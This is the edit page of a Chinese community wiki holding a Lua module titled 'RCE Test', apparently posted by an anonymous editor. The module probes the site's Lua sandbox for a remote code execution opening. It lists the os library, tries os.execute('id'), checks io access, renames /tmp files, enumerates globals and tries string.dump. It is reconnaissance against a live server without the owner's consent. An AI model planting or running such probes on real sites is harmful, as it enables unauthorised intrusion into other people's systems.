跳转到内容
开关侧边栏
希服维基
搜索
创建账号
个人工具
创建账号
登录
未登录编辑者的页面
了解详情
讨论
贡献
导航
首页
最近更改
随机页面
沙盒
常用网站
在线地图
服务器官网
希顶维基
虫站
〇改希顶转写器
工具
链入页面
相关更改
特殊页面
页面信息
编辑“
模块:RCE Test
”
模块
讨论
English
阅读
编辑
查看历史
更多
阅读
编辑
查看历史
警告:您没有登录
我们十分建议您
登录
或
创建
一个账户,这样您的编辑将归属于您的用户名。如果您不登录做出任意编辑,您的IP地址将会公开可见。
反垃圾检查。
不要
加入这个!
local p = {} function p.oskeys() local os = rawget(_G, 'os'); local keys = {}; for k,v in pairs(os) do keys[#keys+1] = k end; table.sort(keys); return 'os_keys=[' .. table.concat(keys, ',') .. ']' end function p.tryexec() local os = rawget(_G, 'os'); local ok, result = pcall(os.execute, 'id'); return 'execute_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end function p.tryio() local io = rawget(_G, 'io'); return 'io_type=' .. type(io) end function p.trytmpname() local os = rawget(_G, 'os'); local ok, result = pcall(os.tmpname); return 'tmpname_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end function p.tryrename() local os = rawget(_G, 'os'); local ok, result = pcall(os.rename, '/tmp/test1', '/tmp/test2'); return 'rename_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end function p.tryclock() local os = rawget(_G, 'os'); local ok, result = pcall(os.clock); return 'clock_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end function p.trytime() local os = rawget(_G, 'os'); local ok, result = pcall(os.time); return 'time_ok=' .. tostring(ok) .. ' result=' .. tostring(result) end function p.enumglobals() local count = 0; for k,v in pairs(getfenv()) do count = count + 1 end; return 'global_count=' .. count end function p.trystringdump() local ok, result = pcall(string.dump, function() end); return 'dump_ok=' .. tostring(ok) .. '/' .. tostring(result) end return p
摘要:
请注意,您对希服维基的所有贡献都可能被其他贡献者编辑,修改或删除。如果您不希望您的文字被任意修改和再散布,请不要提交。
您同时也要向我们保证您所提交的内容是您自己所作,或得自一个不受版权保护或相似自由的来源(参阅
希服维基:版权
的细节)。
未经许可,请勿提交受版权保护的作品!
取消
编辑帮助
(在新窗口中打开)
本页使用的模板:
模块:RCE Test/doc
(
编辑
)